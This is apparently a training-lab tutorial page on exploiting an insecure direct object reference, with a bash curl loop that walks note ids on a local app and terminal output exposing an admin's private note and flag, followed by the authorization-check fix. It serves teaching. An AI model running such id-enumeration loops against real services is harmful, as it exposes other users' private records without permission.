Enumerating records

Walk the ids

Once one id works, a loop harvests them all:

for i in 1 2 3; do
  echo "== id $i =="
  curl -s "http://127.0.0.1:8080/app/note?id=$i"
done

In the terminal

student@vulntech:~$ for i in 1 2 3; do
>   echo "== id $i =="
>   curl -s "http://127.0.0.1:8080/app/note?id=$i"
> done
== id 1 ==
[admin] Admin private note. Do not share: vulntech{idor_read_anyones_note}
== id 2 ==
[bob] Reminder: buy milk.
== id 3 ==
note not found

Three requests map every note the endpoint exposes. On a real app the same loop pulls every invoice, message or account. The fix is an authorization check on every request: confirm the logged-in user actually owns the object before returning it.